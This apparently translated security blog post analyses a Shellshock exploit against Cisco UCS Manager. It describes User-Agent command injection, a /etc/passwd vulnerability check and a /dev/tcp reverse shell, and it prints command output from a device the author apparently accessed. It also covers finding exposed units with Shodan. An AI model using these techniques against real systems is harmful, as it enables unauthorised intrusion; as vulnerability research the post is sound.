An exploit for a vulnerability in Cisco UCS Manager: is the hell so scary?
The Cisco website, under the GNU Bash Environment Variable Command Injection Vulnerability section , indicates that updated versions of bug fix products are available:
- 3.0 (1d) (Available)
- 2.2 (3b) (Available)
- 2.2 (2e) (Available)
- 2.2 (1f) (Available)
- 2.1 (3f) (Available)
- 2.0 (5g) (Available)
Our own testing showed that the vulnerable versions are:
- 2.2 (1d)
- 2.2 (1c)
- 2.1 (2a)
Not vulnerable:
- 2.2 (6c)
- 2.2 (3e)
We conducted an analysis of the exploit, as well as the number of vulnerable devices. Using the Shodan search engine and our own search analogue (long live import substitution). And that’s what happened.
Judging by the exploit code, the commands are injected into the User-Agent field when working at a specially formed URL using the HTTPS protocol. You can divide the exploit work into 2 stages. At the first stage, the exploit tries to determine if the system is vulnerable. To do this, the user file "/ etc / passwd" is read and the user "root" is searched. At the second stage, a reverse connection is made to the controlled host of the attacker, using the features of the pseudo device / dev / tcp .
We found vulnerable equipment and I was able to play a little with the exploit.
We execute commands.
$ who
daemon
Read the contents of the file / etc / passwd
$ cat /etc/passwd
root:*:0:0:root:/root:/isanboot/bin/nobash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:*:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
svc-isan:*:499:501::/var/home/svc-isan:/isan/bin/vsh_perm
samdme:x:2003:504::/var/home/samdme:/bin/bash
Those. the root user does exist, and the vulnerable software runs from the daemon user.
Many ports are also open.
$ netstat -ln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:161 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:36738 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6021 0.0.0.0:* LISTEN
tcp 0 0 127.12.0.1:4101 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5991 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:7911 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5961 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:906 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:907 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6351 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5871 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:906 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:907 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6351 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5871 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6321 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5841 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5781 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6261 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:51189 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:4023 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:27000 0.0.0.0:* LISTEN
uname -a
Linux UCS078A-A-A 2.6.27.10 #1 SMP Fri Nov 15 03:08:09 PST 2013 i686 i686 i386 GNU/Linux
cat /etc/*release
Wind River Linux
Injecting code into the User-Agent string is a common practice. For example, a shellshock search script for the nmap network scanner also takes this approach in the default settings. Although I personally was not able to configure this script so that it really determined the vulnerability in the tested equipment of Cisco UCS Manager.
The Shodan search engine for "Cisco UCS Manager" does not return anything. And at the request of “Cisco UCS” - a lot of things, from which you can find 7 addresses related to the desired device. It seems that the problem is the impossibility of searching in a substring of several words: in the end, any expression is searched. Although, maybe I'm just an inexperienced user of Shodan.
At PHDays 2015, my colleague and Italked about their search engine, similar to Shodan .
Search by banal request in 2 networks with mask 16:

Basically, we talked about how the search engine works. But they also touched on the problem of finding specific equipment: it is necessary to find the maximum number of devices on request. At the same time, the query results should contain a minimum of garbage. In particular, they expressed the idea of a certain digital fingerprint. In short: equipment can be configured differently (default settings, or custom settings, equipment operation behind a firewall or behind NAT). Studying each case by trial and error, as well as taking into account the accumulated experience, a completely non-trivial request is being created. Its results can be very different from the banal initial search. It happened in this situation. For example, as can be seen from the screenshot above, when searching for a device, the string “OpenSSL / FIPS” comes across. A search for this line in Shodan again disappoints: the results again do not have a clear search string. A search in our search engine increased the number of addresses found compared to the previous search. Although, frankly, such a search still produces garbage records. Those. Validation records that have nothing to do with Cisco UCS Manager.
In general, the issue of creating digital fingerprints (including for specific devices) is a topic for a separate article. I will limit myself to the fact: we found about 50
The issue of providing access to our search engine to a wide audience is currently being worked out. If there is interest from the community.